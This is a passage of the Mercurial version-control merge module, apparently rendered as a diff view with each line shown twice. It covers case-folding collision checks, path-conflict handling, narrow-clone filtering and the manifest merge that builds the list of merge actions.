982 if f not in mctx:
983 actions[f] = ACTION_FORGET, None, b"forget removed"
983 actions[f] = ACTION_FORGET, None, b"forget removed"
984
984
985 return actions
985 return actions
986
986
987
987
988 def _checkcollision(repo, wmf, actions):
988 def _checkcollision(repo, wmf, actions):
989 """
989 """
990 Check for case-folding collisions.
990 Check for case-folding collisions.
991 """
991 """
992
992
993 # If the repo is narrowed, filter out files outside the narrowspec.
993 # If the repo is narrowed, filter out files outside the narrowspec.
994 narrowmatch = repo.narrowmatch()
994 narrowmatch = repo.narrowmatch()
995 if not narrowmatch.always():
995 if not narrowmatch.always():
996 wmf = wmf.matches(narrowmatch)
996 wmf = wmf.matches(narrowmatch)
997 if actions:
997 if actions:
998 narrowactions = {}
998 narrowactions = {}
999 for m, actionsfortype in pycompat.iteritems(actions):
999 for m, actionsfortype in pycompat.iteritems(actions):
1000 narrowactions[m] = []
1000 narrowactions[m] = []
1001 for (f, args, msg) in actionsfortype:
1001 for (f, args, msg) in actionsfortype:
1002 if narrowmatch(f):
1002 if narrowmatch(f):
1003 narrowactions[m].append((f, args, msg))
1003 narrowactions[m].append((f, args, msg))
1004 actions = narrowactions
1004 actions = narrowactions
1005
1005
1006 # build provisional merged manifest up
1006 # build provisional merged manifest up
1007 pmmf = set(wmf)
1007 pmmf = set(wmf)
1008
1008
1009 if actions:
1009 if actions:
1010 # KEEP and EXEC are no-op
1010 # KEEP and EXEC are no-op
1011 for m in (
1011 for m in (
1012 ACTION_ADD,
1012 ACTION_ADD,
1013 ACTION_ADD_MODIFIED,
1013 ACTION_ADD_MODIFIED,
1014 ACTION_FORGET,
1014 ACTION_FORGET,
1015 ACTION_GET,
1015 ACTION_GET,
1016 ACTION_CHANGED_DELETED,
1016 ACTION_CHANGED_DELETED,
1017 ACTION_DELETED_CHANGED,
1017 ACTION_DELETED_CHANGED,
1018 ):
1018 ):
1019 for f, args, msg in actions[m]:
1019 for f, args, msg in actions[m]:
1020 pmmf.add(f)
1020 pmmf.add(f)
1021 for f, args, msg in actions[ACTION_REMOVE]:
1021 for f, args, msg in actions[ACTION_REMOVE]:
1022 pmmf.discard(f)
1022 pmmf.discard(f)
1023 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1023 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1024 f2, flags = args
1024 f2, flags = args
1025 pmmf.discard(f2)
1025 pmmf.discard(f2)
1026 pmmf.add(f)
1026 pmmf.add(f)
1027 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1027 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1028 pmmf.add(f)
1028 pmmf.add(f)
1029 for f, args, msg in actions[ACTION_MERGE]:
1029 for f, args, msg in actions[ACTION_MERGE]:
1030 f1, f2, fa, move, anc = args
1030 f1, f2, fa, move, anc = args
1031 if move:
1031 if move:
1032 pmmf.discard(f1)
1032 pmmf.discard(f1)
1033 pmmf.add(f)
1033 pmmf.add(f)
1034
1034
1035 # check case-folding collision in provisional merged manifest
1035 # check case-folding collision in provisional merged manifest
1036 foldmap = {}
1036 foldmap = {}
1037 for f in pmmf:
1037 for f in pmmf:
1038 fold = util.normcase(f)
1038 fold = util.normcase(f)
1039 if fold in foldmap:
1039 if fold in foldmap:
1040 raise error.Abort(
1040 raise error.Abort(
1041 _(b"case-folding collision between %s and %s")
1041 _(b"case-folding collision between %s and %s")
1042 % (f, foldmap[fold])
1042 % (f, foldmap[fold])
1043 )
1043 )
1044 foldmap[fold] = f
1044 foldmap[fold] = f
1045
1045
1046 # check case-folding of directories
1046 # check case-folding of directories
1047 foldprefix = unfoldprefix = lastfull = b''
1047 foldprefix = unfoldprefix = lastfull = b''
1048 for fold, f in sorted(foldmap.items()):
1048 for fold, f in sorted(foldmap.items()):
1049 if fold.startswith(foldprefix) and not f.startswith(unfoldprefix):
1049 if fold.startswith(foldprefix) and not f.startswith(unfoldprefix):
1050 # the folded prefix matches but actual casing is different
1050 # the folded prefix matches but actual casing is different
1051 raise error.Abort(
1051 raise error.Abort(
1052 _(b"case-folding collision between %s and directory of %s")
1052 _(b"case-folding collision between %s and directory of %s")
1053 % (lastfull, f)
1053 % (lastfull, f)
1054 )
1054 )
1055 foldprefix = fold + b'/'
1055 foldprefix = fold + b'/'
1056 unfoldprefix = f + b'/'
1056 unfoldprefix = f + b'/'
1057 lastfull = f
1057 lastfull = f
1058
1058
1059
1059
1060 def driverpreprocess(repo, ms, wctx, labels=None):
1060 def driverpreprocess(repo, ms, wctx, labels=None):
1061 """run the preprocess step of the merge driver, if any
1061 """run the preprocess step of the merge driver, if any
1062
1062
1063 This is currently not implemented -- it's an extension point."""
1063 This is currently not implemented -- it's an extension point."""
1064 return True
1064 return True
1065
1065
1066
1066
1067 def driverconclude(repo, ms, wctx, labels=None):
1067 def driverconclude(repo, ms, wctx, labels=None):
1068 """run the conclude step of the merge driver, if any
1068 """run the conclude step of the merge driver, if any
1069
1069
1070 This is currently not implemented -- it's an extension point."""
1070 This is currently not implemented -- it's an extension point."""
1071 return True
1071 return True
1072
1072
1073
1073
1074 def _filesindirs(repo, manifest, dirs):
1074 def _filesindirs(repo, manifest, dirs):
1075 """
1075 """
1076 Generator that yields pairs of all the files in the manifest that are found
1076 Generator that yields pairs of all the files in the manifest that are found
1077 inside the directories listed in dirs, and which directory they are found
1077 inside the directories listed in dirs, and which directory they are found
1078 in.
1078 in.
1079 """
1079 """
1080 for f in manifest:
1080 for f in manifest:
1081 for p in pathutil.finddirs(f):
1081 for p in pathutil.finddirs(f):
1082 if p in dirs:
1082 if p in dirs:
1083 yield f, p
1083 yield f, p
1084 break
1084 break
1085
1085
1086
1086
1087 def checkpathconflicts(repo, wctx, mctx, actions):
1087 def checkpathconflicts(repo, wctx, mctx, actions):
1088 """
1088 """
1089 Check if any actions introduce path conflicts in the repository, updating
1089 Check if any actions introduce path conflicts in the repository, updating
1090 actions to record or handle the path conflict accordingly.
1090 actions to record or handle the path conflict accordingly.
1091 """
1091 """
1092 mf = wctx.manifest()
1092 mf = wctx.manifest()
1093
1093
1094 # The set of local files that conflict with a remote directory.
1094 # The set of local files that conflict with a remote directory.
1095 localconflicts = set()
1095 localconflicts = set()
1096
1096
1097 # The set of directories that conflict with a remote file, and so may cause
1097 # The set of directories that conflict with a remote file, and so may cause
1098 # conflicts if they still contain any files after the merge.
1098 # conflicts if they still contain any files after the merge.
1099 remoteconflicts = set()
1099 remoteconflicts = set()
1100
1100
1101 # The set of directories that appear as both a file and a directory in the
1101 # The set of directories that appear as both a file and a directory in the
1102 # remote manifest. These indicate an invalid remote manifest, which
1102 # remote manifest. These indicate an invalid remote manifest, which
1103 # can't be updated to cleanly.
1103 # can't be updated to cleanly.
1104 invalidconflicts = set()
1104 invalidconflicts = set()
1105
1105
1106 # The set of directories that contain files that are being created.
1106 # The set of directories that contain files that are being created.
1107 createdfiledirs = set()
1107 createdfiledirs = set()
1108
1108
1109 # The set of files deleted by all the actions.
1109 # The set of files deleted by all the actions.
1110 deletedfiles = set()
1110 deletedfiles = set()
1111
1111
1112 for f, (m, args, msg) in actions.items():
1112 for f, (m, args, msg) in actions.items():
1113 if m in (
1113 if m in (
1114 ACTION_CREATED,
1114 ACTION_CREATED,
1115 ACTION_DELETED_CHANGED,
1115 ACTION_DELETED_CHANGED,
1116 ACTION_MERGE,
1116 ACTION_MERGE,
1117 ACTION_CREATED_MERGE,
1117 ACTION_CREATED_MERGE,
1118 ):
1118 ):
1119 # This action may create a new local file.
1119 # This action may create a new local file.
1120 createdfiledirs.update(pathutil.finddirs(f))
1120 createdfiledirs.update(pathutil.finddirs(f))
1121 if mf.hasdir(f):
1121 if mf.hasdir(f):
1122 # The file aliases a local directory. This might be ok if all
1122 # The file aliases a local directory. This might be ok if all
1123 # the files in the local directory are being deleted. This
1123 # the files in the local directory are being deleted. This
1124 # will be checked once we know what all the deleted files are.
1124 # will be checked once we know what all the deleted files are.
1125 remoteconflicts.add(f)
1125 remoteconflicts.add(f)
1126 # Track the names of all deleted files.
1126 # Track the names of all deleted files.
1127 if m == ACTION_REMOVE:
1127 if m == ACTION_REMOVE:
1128 deletedfiles.add(f)
1128 deletedfiles.add(f)
1129 if m == ACTION_MERGE:
1129 if m == ACTION_MERGE:
1130 f1, f2, fa, move, anc = args
1130 f1, f2, fa, move, anc = args
1131 if move:
1131 if move:
1132 deletedfiles.add(f1)
1132 deletedfiles.add(f1)
1133 if m == ACTION_DIR_RENAME_MOVE_LOCAL:
1133 if m == ACTION_DIR_RENAME_MOVE_LOCAL:
1134 f2, flags = args
1134 f2, flags = args
1135 deletedfiles.add(f2)
1135 deletedfiles.add(f2)
1136
1136
1137 # Check all directories that contain created files for path conflicts.
1137 # Check all directories that contain created files for path conflicts.
1138 for p in createdfiledirs:
1138 for p in createdfiledirs:
1139 if p in mf:
1139 if p in mf:
1140 if p in mctx:
1140 if p in mctx:
1141 # A file is in a directory which aliases both a local
1141 # A file is in a directory which aliases both a local
1142 # and a remote file. This is an internal inconsistency
1142 # and a remote file. This is an internal inconsistency
1143 # within the remote manifest.
1143 # within the remote manifest.
1144 invalidconflicts.add(p)
1144 invalidconflicts.add(p)
1145 else:
1145 else:
1146 # A file is in a directory which aliases a local file.
1146 # A file is in a directory which aliases a local file.
1147 # We will need to rename the local file.
1147 # We will need to rename the local file.
1148 localconflicts.add(p)
1148 localconflicts.add(p)
1149 if p in actions and actions[p][0] in (
1149 if p in actions and actions[p][0] in (
1150 ACTION_CREATED,
1150 ACTION_CREATED,
1151 ACTION_DELETED_CHANGED,
1151 ACTION_DELETED_CHANGED,
1152 ACTION_MERGE,
1152 ACTION_MERGE,
1153 ACTION_CREATED_MERGE,
1153 ACTION_CREATED_MERGE,
1154 ):
1154 ):
1155 # The file is in a directory which aliases a remote file.
1155 # The file is in a directory which aliases a remote file.
1156 # This is an internal inconsistency within the remote
1156 # This is an internal inconsistency within the remote
1157 # manifest.
1157 # manifest.
1158 invalidconflicts.add(p)
1158 invalidconflicts.add(p)
1159
1159
1160 # Rename all local conflicting files that have not been deleted.
1160 # Rename all local conflicting files that have not been deleted.
1161 for p in localconflicts:
1161 for p in localconflicts:
1162 if p not in deletedfiles:
1162 if p not in deletedfiles:
1163 ctxname = bytes(wctx).rstrip(b'+')
1163 ctxname = bytes(wctx).rstrip(b'+')
1164 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1164 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1165 actions[pnew] = (
1165 actions[pnew] = (
1166 ACTION_PATH_CONFLICT_RESOLVE,
1166 ACTION_PATH_CONFLICT_RESOLVE,
1167 (p,),
1167 (p,),
1168 b'local path conflict',
1168 b'local path conflict',
1169 )
1169 )
1170 actions[p] = (ACTION_PATH_CONFLICT, (pnew, b'l'), b'path conflict')
1170 actions[p] = (ACTION_PATH_CONFLICT, (pnew, b'l'), b'path conflict')
1171
1171
1172 if remoteconflicts:
1172 if remoteconflicts:
1173 # Check if all files in the conflicting directories have been removed.
1173 # Check if all files in the conflicting directories have been removed.
1174 ctxname = bytes(mctx).rstrip(b'+')
1174 ctxname = bytes(mctx).rstrip(b'+')
1175 for f, p in _filesindirs(repo, mf, remoteconflicts):
1175 for f, p in _filesindirs(repo, mf, remoteconflicts):
1176 if f not in deletedfiles:
1176 if f not in deletedfiles:
1177 m, args, msg = actions[p]
1177 m, args, msg = actions[p]
1178 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1178 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1179 if m in (ACTION_DELETED_CHANGED, ACTION_MERGE):
1179 if m in (ACTION_DELETED_CHANGED, ACTION_MERGE):
1180 # Action was merge, just update target.
1180 # Action was merge, just update target.
1181 actions[pnew] = (m, args, msg)
1181 actions[pnew] = (m, args, msg)
1182 else:
1182 else:
1183 # Action was create, change to renamed get action.
1183 # Action was create, change to renamed get action.
1184 fl = args[0]
1184 fl = args[0]
1185 actions[pnew] = (
1185 actions[pnew] = (
1186 ACTION_LOCAL_DIR_RENAME_GET,
1186 ACTION_LOCAL_DIR_RENAME_GET,
1187 (p, fl),
1187 (p, fl),
1188 b'remote path conflict',
1188 b'remote path conflict',
1189 )
1189 )
1190 actions[p] = (
1190 actions[p] = (
1191 ACTION_PATH_CONFLICT,
1191 ACTION_PATH_CONFLICT,
1192 (pnew, ACTION_REMOVE),
1192 (pnew, ACTION_REMOVE),
1193 b'path conflict',
1193 b'path conflict',
1194 )
1194 )
1195 remoteconflicts.remove(p)
1195 remoteconflicts.remove(p)
1196 break
1196 break
1197
1197
1198 if invalidconflicts:
1198 if invalidconflicts:
1199 for p in invalidconflicts:
1199 for p in invalidconflicts:
1200 repo.ui.warn(_(b"%s: is both a file and a directory\n") % p)
1200 repo.ui.warn(_(b"%s: is both a file and a directory\n") % p)
1201 raise error.Abort(_(b"destination manifest contains path conflicts"))
1201 raise error.Abort(_(b"destination manifest contains path conflicts"))
1202
1202
1203
1203
1204 def _filternarrowactions(narrowmatch, branchmerge, actions):
1204 def _filternarrowactions(narrowmatch, branchmerge, actions):
1205 """
1205 """
1206 Filters out actions that can ignored because the repo is narrowed.
1206 Filters out actions that can ignored because the repo is narrowed.
1207
1207
1208 Raise an exception if the merge cannot be completed because the repo is
1208 Raise an exception if the merge cannot be completed because the repo is
1209 narrowed.
1209 narrowed.
1210 """
1210 """
1211 nooptypes = {b'k'} # TODO: handle with nonconflicttypes
1211 nooptypes = {b'k'} # TODO: handle with nonconflicttypes
1212 nonconflicttypes = set(b'a am c cm f g r e'.split())
1212 nonconflicttypes = set(b'a am c cm f g r e'.split())
1213 # We mutate the items in the dict during iteration, so iterate
1213 # We mutate the items in the dict during iteration, so iterate
1214 # over a copy.
1214 # over a copy.
1215 for f, action in list(actions.items()):
1215 for f, action in list(actions.items()):
1216 if narrowmatch(f):
1216 if narrowmatch(f):
1217 pass
1217 pass
1218 elif not branchmerge:
1218 elif not branchmerge:
1219 del actions[f] # just updating, ignore changes outside clone
1219 del actions[f] # just updating, ignore changes outside clone
1220 elif action[0] in nooptypes:
1220 elif action[0] in nooptypes:
1221 del actions[f] # merge does not affect file
1221 del actions[f] # merge does not affect file
1222 elif action[0] in nonconflicttypes:
1222 elif action[0] in nonconflicttypes:
1223 raise error.Abort(
1223 raise error.Abort(
1224 _(
1224 _(
1225 b'merge affects file \'%s\' outside narrow, '
1225 b'merge affects file \'%s\' outside narrow, '
1226 b'which is not yet supported'
1226 b'which is not yet supported'
1227 )
1227 )
1228 % f,
1228 % f,
1229 hint=_(b'merging in the other direction may work'),
1229 hint=_(b'merging in the other direction may work'),
1230 )
1230 )
1231 else:
1231 else:
1232 raise error.Abort(
1232 raise error.Abort(
1233 _(b'conflict in file \'%s\' is outside narrow clone') % f
1233 _(b'conflict in file \'%s\' is outside narrow clone') % f
1234 )
1234 )
1235
1235
1236
1236
1237 def manifestmerge(
1237 def manifestmerge(
1238 repo,
1238 repo,
1239 wctx,
1239 wctx,
1240 p2,
1240 p2,
1241 pa,
1241 pa,
1242 branchmerge,
1242 branchmerge,
1243 force,
1243 force,
1244 matcher,
1244 matcher,
1245 acceptremote,
1245 acceptremote,
1246 followcopies,
1246 followcopies,
1247 forcefulldiff=False,
1247 forcefulldiff=False,
1248 ):
1248 ):
1249 """
1249 """
1250 Merge wctx and p2 with ancestor pa and generate merge action list
1250 Merge wctx and p2 with ancestor pa and generate merge action list
1251
1251
1252 branchmerge and force are as passed in to update
1252 branchmerge and force are as passed in to update
1253 matcher = matcher to filter file lists
1253 matcher = matcher to filter file lists
1254 acceptremote = accept the incoming changes without prompting
1254 acceptremote = accept the incoming changes without prompting
1255 """
1255 """
1256 if matcher is not None and matcher.always():
1256 if matcher is not None and matcher.always():
1257 matcher = None
1257 matcher = None
1258
1258
1259 copy, movewithdir, diverge, renamedelete, dirmove = {}, {}, {}, {}, {}
1259 copy, movewithdir, diverge, renamedelete, dirmove = {}, {}, {}, {}, {}
1260
1260
1261 # manifests fetched in order are going to be faster, so prime the caches
1261 # manifests fetched in order are going to be faster, so prime the caches
1262 [
1262 [
1263 x.manifest()
1263 x.manifest()
1264 for x in sorted(wctx.parents() + [p2, pa], key=scmutil.intrev)
1264 for x in sorted(wctx.parents() + [p2, pa], key=scmutil.intrev)
1265 ]
1265 ]
1266
1266
1267 if followcopies:
1267 if followcopies:
1268 ret = copies.mergecopies(repo, wctx, p2, pa)
1268 ret = copies.mergecopies(repo, wctx, p2, pa)
1269 copy, movewithdir, diverge, renamedelete, dirmove = ret
1269 copy, movewithdir, diverge, renamedelete, dirmove = ret
1270
1270
1271 boolbm = pycompat.bytestr(bool(branchmerge))
1271 boolbm = pycompat.bytestr(bool(branchmerge))
1272 boolf = pycompat.bytestr(bool(force))
1272 boolf = pycompat.bytestr(bool(force))
1273 boolm = pycompat.bytestr(bool(matcher))
1273 boolm = pycompat.bytestr(bool(matcher))
1274 repo.ui.note(_(b"resolving manifests\n"))
1274 repo.ui.note(_(b"resolving manifests\n"))
1275 repo.ui.debug(
1275 repo.ui.debug(
1276 b" branchmerge: %s, force: %s, partial: %s\n" % (boolbm, boolf, boolm)
1276 b" branchmerge: %s, force: %s, partial: %s\n" % (boolbm, boolf, boolm)
1277 )
1277 )
1278 repo.ui.debug(b" ancestor: %s, local: %s, remote: %s\n" % (pa, wctx, p2))
1278 repo.ui.debug(b" ancestor: %s, local: %s, remote: %s\n" % (pa, wctx, p2))
1279
1279
1280 m1, m2, ma = wctx.manifest(), p2.manifest(), pa.manifest()
1280 m1, m2, ma = wctx.manifest(), p2.manifest(), pa.manifest()
1281 copied = set(copy.values())
1281 copied = set(copy.values())
1282 copied.update(movewithdir.values())
1282 copied.update(movewithdir.values())
1283
1283
1284 if b'.hgsubstate' in m1 and wctx.rev() is None:
1284 if b'.hgsubstate' in m1 and wctx.rev() is None:
1285 # Check whether sub state is modified, and overwrite the manifest
1285 # Check whether sub state is modified, and overwrite the manifest
1286 # to flag the change. If wctx is a committed revision, we shouldn't
1286 # to flag the change. If wctx is a committed revision, we shouldn't
1287 # care for the dirty state of the working directory.
1287 # care for the dirty state of the working directory.
1288 if any(wctx.sub(s).dirty() for s in wctx.substate):
1288 if any(wctx.sub(s).dirty() for s in wctx.substate):
1289 m1[b'.hgsubstate'] = modifiednodeid
1289 m1[b'.hgsubstate'] = modifiednodeid
1290
1290
1291 # Don't use m2-vs-ma optimization if:
1291 # Don't use m2-vs-ma optimization if:
1292 # - ma is the same as m1 or m2, which we're just going to diff again later
1292 # - ma is the same as m1 or m2, which we're just going to diff again later
1293 # - The caller specifically asks for a full diff, which is useful during bid
1293 # - The caller specifically asks for a full diff, which is useful during bid
1294 # merge.
1294 # merge.
1295 if pa not in ([wctx, p2] + wctx.parents()) and not forcefulldiff:
1295 if pa not in ([wctx, p2] + wctx.parents()) and not forcefulldiff:
1296 # Identify which files are relevant to the merge, so we can limit the
1296 # Identify which files are relevant to the merge, so we can limit the
1297 # total m1-vs-m2 diff to just those files. This has significant
1297 # total m1-vs-m2 diff to just those files. This has significant
1298 # performance benefits in large repositories.
1298 # performance benefits in large repositories.
1299 relevantfiles = set(ma.diff(m2).keys())
1299 relevantfiles = set(ma.diff(m2).keys())
1300
1300
1301 # For copied and moved files, we need to add the source file too.
1301 # For copied and moved files, we need to add the source file too.
1302 for copykey, copyvalue in pycompat.iteritems(copy):
1302 for copykey, copyvalue in pycompat.iteritems(copy):
1303 if copyvalue in relevantfiles:
1303 if copyvalue in relevantfiles:
1304 relevantfiles.add(copykey)
1304 relevantfiles.add(copykey)
1305 for movedirkey in movewithdir:
1305 for movedirkey in movewithdir:
1306 relevantfiles.add(movedirkey)
1306 relevantfiles.add(movedirkey)
1307 filesmatcher = scmutil.matchfiles(repo, relevantfiles)
1307 filesmatcher = scmutil.matchfiles(repo, relevantfiles)
1308 matcher = matchmod.intersectmatchers(matcher, filesmatcher)
1308 matcher = matchmod.intersectmatchers(matcher, filesmatcher)
1309
1309
1310 diff = m1.diff(m2, match=matcher)
1310 diff = m1.diff(m2, match=matcher)
1311
1311
1312 actions = {}
1312 actions = {}
1313 for f, ((n1, fl1), (n2, fl2)) in pycompat.iteritems(diff):
1313 for f, ((n1, fl1), (n2, fl2)) in pycompat.iteritems(diff):
1314 if n1 and n2: # file exists on both local and remote side
1314 if n1 and n2: # file exists on both local and remote side
1315 if f not in ma:
1315 if f not in ma:
1316 fa = copy.get(f, None)
1316 fa = copy.get(f, None)
1317 if fa is not None:
1317 if fa is not None:
1318 actions[f] = (
1318 actions[f] = (
1319 ACTION_MERGE,
1319 ACTION_MERGE,
1320 (f, f, fa, False, pa.node()),
1320 (f, f, fa, False, pa.node()),
1321 b'both renamed from %s' % fa,
1321 b'both renamed from %s' % fa,
1322 )
1322 )
1323 else:
1323 else:
1324 actions[f] = (
1324 actions[f] = (
1325 ACTION_MERGE,
1325 ACTION_MERGE,
1326 (f, f, None, False, pa.node()),
1326 (f, f, None, False, pa.node()),
1327 b'both created',
1327 b'both created',
1328 )
1328 )
1329 else:
1329 else:
1330 a = ma[f]
1330 a = ma[f]
1331 fla = ma.flags(f)
1331 fla = ma.flags(f)
1332 nol = b'l' not in fl1 + fl2 + fla
1332 nol = b'l' not in fl1 + fl2 + fla
1333 if n2 == a and fl2 == fla:
1333 if n2 == a and fl2 == fla:
1334 actions[f] = (ACTION_KEEP, (), b'remote unchanged')
1334 actions[f] = (ACTION_KEEP, (), b'remote unchanged')
1335 elif n1 == a and fl1 == fla: # local unchanged - use remote
1335 elif n1 == a and fl1 == fla: # local unchanged - use remote
1336 if n1 == n2: # optimization: keep local content
1336 if n1 == n2: # optimization: keep local content
1337 actions[f] = (
1337 actions[f] = (
1338 ACTION_EXEC,
1338 ACTION_EXEC,
1339 (fl2,),
1339 (fl2,),
1340 b'update permissions',
1340 b'update permissions',
1341 )
1341 )
1342 else:
1342 else:
1343 actions[f] = (
1343 actions[f] = (
1344 ACTION_GET,
1344 ACTION_GET,
1345 (fl2, False),
1345 (fl2, False),
1346 b'remote is newer',
1346 b'remote is newer',
1347 )
1347 )
1348 elif nol and n2 == a: # remote only changed 'x'
1348 elif nol and n2 == a: # remote only changed 'x'
1349 actions[f] = (ACTION_EXEC, (fl2,), b'update permissions')
1349 actions[f] = (ACTION_EXEC, (fl2,), b'update permissions')
1350 elif nol and n1 == a: # local only changed 'x'
1350 elif nol and n1 == a: # local only changed 'x'
1351 actions[f] = (ACTION_GET, (fl1, False), b'remote is newer')
1351 actions[f] = (ACTION_GET, (fl1, False), b'remote is newer')
1352 else: # both changed something
1352 else: # both changed something
1353 actions[f] = (
1353 actions[f] = (
1354 ACTION_MERGE,
1354 ACTION_MERGE,
1355 (f, f, f, False, pa.node()),
1355 (f, f, f, False, pa.node()),
1356 b'versions differ',
1356 b'versions differ',
1357 )
1357 )
1358 elif n1: # file exists only on local side
1358 elif n1: # file exists only on local side
1359 if f in copied:
1359 if f in copied:
1360 pass # we'll deal with it on m2 side
1360 pass # we'll deal with it on m2 side
1361 elif f in movewithdir: # directory rename, move local
1361 elif f in movewithdir: # directory rename, move local
1362 f2 = movewithdir[f]
1362 f2 = movewithdir[f]
1363 if f2 in m2:
1363 if f2 in m2:
1364 actions[f2] = (
1364 actions[f2] = (
1365 ACTION_MERGE,
1365 ACTION_MERGE,
1366 (f, f2, None, True, pa.node()),
1366 (f, f2, None, True, pa.node()),
1367 b'remote directory rename, both created',
1367 b'remote directory rename, both created',
1368 )
1368 )
1369 else:
1369 else:
1370 actions[f2] = (
1370 actions[f2] = (
1371 ACTION_DIR_RENAME_MOVE_LOCAL,
1371 ACTION_DIR_RENAME_MOVE_LOCAL,
1372 (f, fl1),
1372 (f, fl1),
1373 b'remote directory rename - move from %s' % f,
1373 b'remote directory rename - move from %s' % f,
1374 )
1374 )
1375 elif f in copy:
1375 elif f in copy:
1376 f2 = copy[f]
1376 f2 = copy[f]
1377 actions[f] = (
1377 actions[f] = (
1378 ACTION_MERGE,
1378 ACTION_MERGE,
1379 (f, f2, f2, False, pa.node()),
1379 (f, f2, f2, False, pa.node()),
1380 b'local copied/moved from %s' % f2,
1380 b'local copied/moved from %s' % f2,
1381 )
1381 )
1382 elif f in ma: # clean, a different, no remote
1382 elif f in ma: # clean, a different, no remote
1383 if n1 != ma[f]:
1383 if n1 != ma[f]:
1384 if acceptremote:
1384 if acceptremote:
1385 actions[f] = (ACTION_REMOVE, None, b'remote delete')
1385 actions[f] = (ACTION_REMOVE, None, b'remote delete')
1386 else:
1386 else:
1387 actions[f] = (
1387 actions[f] = (
1388 ACTION_CHANGED_DELETED,
1388 ACTION_CHANGED_DELETED,
1389 (f, None, f, False, pa.node()),
1389 (f, None, f, False, pa.node()),
1390 b'prompt changed/deleted',
1390 b'prompt changed/deleted',
1391 )
1391 )
1392 elif n1 == addednodeid:
1392 elif n1 == addednodeid:
1393 # This extra 'a' is added by working copy manifest to mark
1393 # This extra 'a' is added by working copy manifest to mark
1394 # the file as locally added. We should forget it instead of
1394 # the file as locally added. We should forget it instead of
1395 # deleting it.
1395 # deleting it.
1396 actions[f] = (ACTION_FORGET, None, b'remote deleted')
1396 actions[f] = (ACTION_FORGET, None, b'remote deleted')
1397 else:
1397 else:
1398 actions[f] = (ACTION_REMOVE, None, b'other deleted')
1398 actions[f] = (ACTION_REMOVE, None, b'other deleted')
1399 elif n2: # file exists only on remote side
1399 elif n2: # file exists only on remote side
1400 if f in copied:
1400 if f in copied:
1401 pass # we'll deal with it on m1 side
1401 pass # we'll deal with it on m1 side
1402 elif f in movewithdir:
1402 elif f in movewithdir:
1403 f2 = movewithdir[f]
1403 f2 = movewithdir[f]
1404 if f2 in m1:
1404 if f2 in m1:
1405 actions[f2] = (
1405 actions[f2] = (
1406 ACTION_MERGE,
1406 ACTION_MERGE,
1407 (f2, f, None, False, pa.node()),
1407 (f2, f, None, False, pa.node()),
1408 b'local directory rename, both created',
1408 b'local directory rename, both created',
1409 )
1409 )
1410 else:
1410 else:
1411 actions[f2] = (
1411 actions[f2] = (
1412 ACTION_LOCAL_DIR_RENAME_GET,
1412 ACTION_LOCAL_DIR_RENAME_GET,
1413 (f, fl2),
1413 (f, fl2),
1414 b'local directory rename - get from %s' % f,
1414 b'local directory rename - get from %s' % f,
1415 )
1415 )
1416 elif f in copy:
1416 elif f in copy:
1417 f2 = copy[f]
1417 f2 = copy[f]
1418 if f2 in m2:
1418 if f2 in m2:
1419 actions[f] = (
1419 actions[f] = (
1420 ACTION_MERGE,
1420 ACTION_MERGE,
1421 (f2, f, f2, False, pa.node()),
1421 (f2, f, f2, False, pa.node()),
1422 b'remote copied from %s' % f2,
1422 b'remote copied from %s' % f2,
1423 )
1423 )
1424 else:
1424 else:
1425 actions[f] = (
1425 actions[f] = (
1426 ACTION_MERGE,
1426 ACTION_MERGE,
1427 (f2, f, f2, True, pa.node()),
1427 (f2, f, f2, True, pa.node()),
1428 b'remote moved from %s' % f2,
1428 b'remote moved from %s' % f2,
1429 )
1429 )
1430 elif f not in ma:
1430 elif f not in ma:
1431 # local unknown, remote created: the logic is described by the
1431 # local unknown, remote created: the logic is described by the
1432 # following table:
1432 # following table:
1433 #
1433 #
1434 # force branchmerge different | action
1434 # force branchmerge different | action
1435 # n * * | create
1435 # n * * | create
1436 # y n * | create
1436 # y n * | create
1437 # y y n | create
1437 # y y n | create
1438 # y y y | merge
1438 # y y y | merge
1439 #
1439 #
1440 # Checking whether the files are different is expensive, so we
1440 # Checking whether the files are different is expensive, so we
1441 # don't do that when we can avoid it.
1441 # don't do that when we can avoid it.
1442 if not force:
1442 if not force:
1443 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1443 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1444 elif not branchmerge:
1444 elif not branchmerge:
1445 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1445 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1446 else:
1446 else:
1447 actions[f] = (
1447 actions[f] = (
1448 ACTION_CREATED_MERGE,
1448 ACTION_CREATED_MERGE,
1449 (fl2, pa.node()),
1449 (fl2, pa.node()),
1450 b'remote created, get or merge',
1450 b'remote created, get or merge',
1451 )
1451 )
1452 elif n2 != ma[f]:
1452 elif n2 != ma[f]:
1453 df = None
1453 df = None
1454 for d in dirmove:
1454 for d in dirmove:
1455 if f.startswith(d):
1455 if f.startswith(d):
1456 # new file added in a directory that was moved
1456 # new file added in a directory that was moved
1457 df = dirmove[d] + f[len(d) :]
1457 df = dirmove[d] + f[len(d) :]
1458 break
1458 break
1459 if df is not None and df in m1:
1459 if df is not None and df in m1:
1460 actions[df] = (
1460 actions[df] = (
1461 ACTION_MERGE,
1461 ACTION_MERGE,
1462 (df, f, f, False, pa.node()),
1462 (df, f, f, False, pa.node()),
1463 b'local directory rename - respect move '
1463 b'local directory rename - respect move '
1464 b'from %s' % f,
1464 b'from %s' % f,
1465 )
1465 )
1466 elif acceptremote:
1466 elif acceptremote:
1467 actions[f] = (ACTION_CREATED, (fl2,), b'remote recreating')
1467 actions[f] = (ACTION_CREATED, (fl2,), b'remote recreating')
1468 else:
1468 else:
1469 actions[f] = (
1469 actions[f] = (
1470 ACTION_DELETED_CHANGED,
1470 ACTION_DELETED_CHANGED,
1471 (None, f, f, False, pa.node()),
1471 (None, f, f, False, pa.node()),
1472 b'prompt deleted/changed',
1472 b'prompt deleted/changed',
1473 )
1473 )
1474
1474
1475 if repo.ui.configbool(b'experimental', b'merge.checkpathconflicts'):
1475 if repo.ui.configbool(b'experimental', b'merge.checkpathconflicts'):
1476 # If we are merging, look for path conflicts.
1476 # If we are merging, look for path conflicts.
